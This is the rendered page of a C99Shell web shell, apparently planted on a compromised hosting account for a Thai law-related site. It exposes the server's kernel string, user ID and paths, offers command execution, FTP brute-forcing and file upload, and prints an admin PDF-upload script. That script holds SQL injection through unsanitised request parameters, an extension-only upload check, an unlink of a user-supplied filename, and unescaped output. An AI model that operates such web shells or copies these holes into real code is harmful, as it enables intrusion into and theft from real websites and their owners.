!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/mophlawyer.com/ladiesmoph/moph_admin/   drwxr-xr-x
Free 237.94 GB of 981.82 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pdf_form_edit.php (15.53 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
ob_start
();
session_start();
if(!
$_SESSION['fullname']){
    
header("location: index.php");
    
}
require_once (
'includes/db.php');
$r_id =$_GET['r_id'];
$cat_id=$_GET['cat'];
if (isset(
$_POST['input_title'])) {
  
//require_once 'connect.php';
   //สร้างตัวแปรวันที่เพื่อเอาไปตั้งชื่อไฟล์ใหม่
  
$date1 date("Ymd_His");
  
//สร้างตัวแปรสุ่มตัวเลขเพื่อเอาไปตั้งชื่อไฟล์ที่อัพโหลดไม่ให้ชื่อไฟล์ซ้ำกัน
  
$numrand = (mt_rand());
  
$doc_file = (isset($_POST['doc_file']) ? $_POST['doc_file'] : '');
  
$upload=$_FILES['doc_file']['name'];
  
//โฟลเดอร์ที่เก็บไฟล์ **สร้างไฟล์ index.php หรือ index.html (ไม่ต้องมี code) ไว้ในโฟลเดอร์ด้วยนะครับจะได้ป้องกันการเข้าถึงทุกไฟล์ในโฟลเดอร์
  
$path="docs/";
  
  
//มีการอัพโหลดไฟล์
  
if($upload !='') {
  
//ตัดขื่อเอาเฉพาะนามสกุล
  
$typefile strrchr($_FILES['doc_file']['name'],".");
  
//ตั้งชื่อไฟล์ใหม่เป็น สุ่มตัวเลข+วันที่
  
$newname 'doc_'.$numrand.$date1.$typefile;
  
$path_copy=$path.$newname;
  @
unlink("docs/".$_POST["oldfile"]);
  }else{
$typefile strrchr($_POST['oldfile'],"."); 
//ตั้งชื่อไฟล์ใหม่เป็น สุ่มตัวเลข+วันที่
$newname $_POST['oldfile'];
$path_copy=$path.$newname;   
  }
  
//สร้างเงื่อนไขตรวจสอบนามสกุลของไฟล์ที่อัพโหลดเข้ามา
  
if($typefile =='.pdf'){

  
  
//คัดลอกไฟล์ไปยังโฟลเดอร์
  
move_uploaded_file($_FILES['doc_file']['tmp_name'],$path_copy); 

   
//ประกาศตัวแปรรับค่าจากฟอร์ม
  
$doc_name $_POST['input_title'];
  
$category $_POST['inputtype'];

  
$result $conn->prepare("UPDATE tbl_pdf SET doc_cat ='$category',doc_name ='$doc_name',doc_file ='$newname' Where no = '$r_id'");
  
$result->execute();
  
//$result = $stmt->execute();
  //$conn = null; //close connect db
  //เงื่อนไขตรวจสอบการเพิ่มข้อมูล
          
if($result){
              echo 
'<script>
                   setTimeout(function() {
                    swal({
                        title: "อัพโหลดไฟล์เอกสารสำเร็จ",
                        type: "success"
                    }, function() {
                        window.location = "pdf_dashboard.php?v_id='
.$cat_id.'"; //หน้าที่ต้องการให้กระโดดไป
                    });
                  }, 1000);
              </script>'
;
          }else{
             echo 
'<script>
                   setTimeout(function() {
                    swal({
                        title: "เกิดข้อผิดพลาด",
                        type: "error"
                    }, function() {
                        window.location = "pdf_form.php"; //หน้าที่ต้องการให้กระโดดไป
                    });
                  }, 1000);
              </script>'
;
          } 
//else ของ if result

      
      
}else{ //ถ้าไฟล์ที่อัพโหลดไม่ตรงตามที่กำหนด
          
echo '<script>
                       setTimeout(function() {
                        swal({
                            title: "คุณอัพโหลดไฟล์ไม่ถูกต้อง",
                            type: "error"
                        }, function() {
                            window.location = "pdf_form.php?v_id='
.$cat_id.'"; //หน้าที่ต้องการให้กระโดดไป
                        });
                      }, 1000);
                  </script>'
;
      } 
//else ของเช็คนามสกุลไฟล์
 

  
// if($upload !='') {

    
?>

<!DOCTYPE html>
<html>
<head>
    <title>Admin Dashboard : PHBCOOP</title>
    <meta charset="utf-8">
    <meta content="ie=edge" http-equiv="x-ua-compatible">
    <meta content="Phbcoop" name="keywords">
    <meta content="Phbcoop" name="author">
    <meta content="Admin dashboard Phbcoop" name="description">
    <meta content="width=device-width, initial-scale=1" name="viewport">
    <link href="img/favicon_phbcoop.png" rel="shortcut icon">
    <link href="https://fonts.googleapis.com/css?family=Rubik:300,400,500" rel="stylesheet" type="text/css">
    <link href="bower_components/select2/dist/css/select2.min.css" rel="stylesheet">
    <link href="bower_components/bootstrap-daterangepicker/daterangepicker.css" rel="stylesheet">
    <link href="bower_components/dropzone/dist/dropzone.css" rel="stylesheet">
    <link href="bower_components/datatables.net-bs/css/dataTables.bootstrap.min.css" rel="stylesheet">
    <link href="bower_components/fullcalendar/dist/fullcalendar.min.css" rel="stylesheet">
    <link href="bower_components/perfect-scrollbar/css/perfect-scrollbar.min.css" rel="stylesheet">
    <link href="bower_components/slick-carousel/slick/slick.css" rel="stylesheet">
    <link href="css/main.css?version=4.4.0" rel="stylesheet">

    <!-- sweet alert  -->
    <script src="https://code.jquery.com/jquery-2.1.3.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/sweetalert/1.1.3/sweetalert-dev.js"></script>
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/sweetalert/1.1.3/sweetalert.css">
<style>
        .file {
  visibility: hidden;
  position: absolute;
}
</style>
  </head>
  <body class="menu-position-side menu-side-left full-screen">
    <div class="all-wrapper solid-bg-all">
      
    <div class="layout-w">
      <!--------------------
        START - Mobile Menu
        -------------------->
      <?php //include ('includes/mobile_menu.php'); ?>
        <!--------------------
        START - Main Menu
        -------------------->
        <?php include ('includes/main_menu.php'); ?>
        <!--------------------
        END - Main Menu
        -------------------->
        <div class="content-w">
          <!--------------------
          START - Top Bar
          -------------------->
          <?php include('includes/top_setting.php'); ?>
          <!--------------------
          END - Top Bar
          -------------------->
<?php 


$result1 
$conn->prepare("SELECT * FROM tbl_pdf WHERE no=$r_id");
$result1->execute();
for(
$i=0$row1 $result1->fetch(); $i++ ){

?>

            <div class="content-i">
                 <div class="content-box"><div class="row">
                    <div class="col-lg-12">
                        <div class="element-wrapper">
                        <div class="element-box">

                            <form action="#" method="POST" enctype="multipart/form-data" >
                                
                            <h5 class="form-header">
                                Upload file PDF
                            </h5>
                            <div class="form-desc">
                                อัพโหลดข้อมูล ไฟล์ PDF
                            </div>
                      <div class="form-group">
                                                <label class="col-md-3 control-label" for="inputtype">ประเภทหมวดหมู่</label>
                                                
                                                <select class="form-control mb-md" name="inputtype">
                                                    <?php 
                                                    
                                                
                                                    $result 
$conn->prepare("SELECT * FROM tbl_category");
                                                    
$result->execute();
                                                    for(
$i=0$row $result->fetch(); $i++ ){
                                                    
//for($i=0; $row = $result->fetch(); $i++){
                                                    
$id $row['id'];
                                                    
?>
                                                        <option value=<?php echo $row['id']; ?> <?php if($id==$cat_id){echo "selected";} ?> > <?php echo $row ['categoryname']; ?></option>
                                                    <?php ?>
                                                    </select>
                                                
                                            </div>
                            <div class="form-group">
                                <label for=""> Title/หัวข้อเรื่อง</label>
                                <input class="form-control" placeholder="Enter title" type="text" name="input_title" value ="<?php echo $row1['doc_name']; ?>">
                            </div>

                            <div class="form-group">
                            <label for=""> อัพโหลดเฉพาะไฟล์ PDF เท่านั้น</label><br>
                            <label class="text-info"><?php echo $row1["doc_file"]; ?> </label>
                            <input type="file" name="doc_file" class="file" accept="application/pdf">
                                        <input type="hidden" name="oldfile" value="<?php echo $row1["doc_file"];?>">
                                          <div class="input-group my-3">
                                            <input type="text" class="form-control" disabled placeholder="Upload File" id="file">
                                            <div class="input-group-append">
                                              <button type="button" class="browse btn btn-primary">Browse...</button>
                                            </div>
                            </div>
                            
                            






                            <div class="form-buttons-w">
                            
                            <input class="btn btn-primary" type="submit" name="submitform" value="Submit"  />
                            
                               
                            </div>
                            </form>
                        </div>
                        </div>
                    </div>
                </div>
            </div>

            <?php ?>
        </div>
      </div>
      <div class="display-type"></div>
    </div>


    <div aria-hidden="true" class="onboarding-modal modal fade animated" id="Modal_success" role="dialog" tabindex="-1">
        <div class="modal-dialog modal-centered" role="document">
          <div class="modal-content text-center">
            <button aria-label="Close" class="close" data-dismiss="modal" type="button"><span class="close-label">Skip</span><span class="os-icon os-icon-close"></span></button>
            <div class="onboarding-media">
              
        
      <div class="auth-w  centered">
        <h5 class="auth-header">
          บันทึกข้อมูลสำเร็จ
        </h5>
        <div class="logged-user-w">
          <div class="avatar-w">
           
           <!-- <img src="../autosoft/img/team/"> -->
          </div>
          
        </div>
      </div>
        



            </div>
            <div class="onboarding-content with-gradient">
              <h4 class="onboarding-title">
              บันทึกข้อมูลสำเร็จ
              </h4>
              <div class="onboarding-text">
                information from them before they start using your app.
              </div>
            </div>
          </div>
        </div>
      </div>

      <div aria-hidden="true" class="onboarding-modal modal fade animated" id="Modal_Fail" role="dialog" tabindex="-1">
        <div class="modal-dialog modal-centered" role="document">
          <div class="modal-content text-center">
            <button aria-label="Close" class="close" data-dismiss="modal" type="button"><span class="close-label">Skip Intro</span><span class="os-icon os-icon-close"></span></button>
            <div class="onboarding-media">
              <img alt="" src="img/bigicon2.png" width="200px">
            </div>
            <div class="onboarding-content with-gradient">
              <h4 class="onboarding-title">
                ไม่ผ่าน
              </h4>
              <div class="onboarding-text">
                This is an example of a multistep onboarding screen, you can use it to introduce your customers to your app, or collect additional information from them before they start using your app.
              </div>
            </div>
          </div>
        </div>
      </div>
<?php

?>

    <script src="bower_components/jquery/dist/jquery.min.js"></script>
    <script src="bower_components/popper.js/dist/umd/popper.min.js"></script>
    <script src="bower_components/moment/moment.js"></script>
    <script src="bower_components/chart.js/dist/Chart.min.js"></script>
    <script src="bower_components/select2/dist/js/select2.full.min.js"></script>
    <script src="bower_components/jquery-bar-rating/dist/jquery.barrating.min.js"></script>
    <script src="bower_components/ckeditor/ckeditor.js"></script>
    <script src="bower_components/bootstrap-validator/dist/validator.min.js"></script>
    <script src="bower_components/bootstrap-daterangepicker/daterangepicker.js"></script>
    <script src="bower_components/ion.rangeSlider/js/ion.rangeSlider.min.js"></script>
    <script src="bower_components/dropzone/dist/dropzone.js"></script>
    <script src="bower_components/editable-table/mindmup-editabletable.js"></script>
    <script src="bower_components/datatables.net/js/jquery.dataTables.min.js"></script>
    <script src="bower_components/datatables.net-bs/js/dataTables.bootstrap.min.js"></script>
    <script src="bower_components/fullcalendar/dist/fullcalendar.min.js"></script>
    <script src="bower_components/perfect-scrollbar/js/perfect-scrollbar.jquery.min.js"></script>
    <script src="bower_components/tether/dist/js/tether.min.js"></script>
    <script src="bower_components/slick-carousel/slick/slick.min.js"></script>
    <script src="bower_components/bootstrap/js/dist/util.js"></script>
    <script src="bower_components/bootstrap/js/dist/alert.js"></script>
    <script src="bower_components/bootstrap/js/dist/button.js"></script>
    <script src="bower_components/bootstrap/js/dist/carousel.js"></script>
    <script src="bower_components/bootstrap/js/dist/collapse.js"></script>
    <script src="bower_components/bootstrap/js/dist/dropdown.js"></script>
    <script src="bower_components/bootstrap/js/dist/modal.js"></script>
    <script src="bower_components/bootstrap/js/dist/tab.js"></script>
    <script src="bower_components/bootstrap/js/dist/tooltip.js"></script>
    <script src="bower_components/bootstrap/js/dist/popover.js"></script>
    <script src="js/demo_customizer.js?version=4.4.0"></script>
    <script src="js/main.js?version=4.4.0"></script>

    <script>

$(document).on("click", ".browse", function() {
  var file = $(this).parents().find(".file");
  file.trigger("click");
});
$('input[type="file"]').change(function(e) {
  var fileName = e.target.files[0].name;
  $("#file").val(fileName);

  var reader = new FileReader();
  reader.onload = function(e) {
    // get loaded data and render thumbnail.
    document.getElementById("preview").src = e.target.result;
  };
  // read the image file as a data URL.
  reader.readAsDataURL(this.files[0]);
});
    </script>



<script>

$(document).ready(function(){

  if(<?php echo $status?>==1) {
    $("#Modal_success").modal().on("hidden.bs.modal", function () {
      header( "location: products_dashboard.php" );
      exit(0);
  });

    
  }
  else if(<?php echo $status?>==0){
    $("#Modal_Fail").modal();

  } 
  
});
</script>
  </body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0322 ]--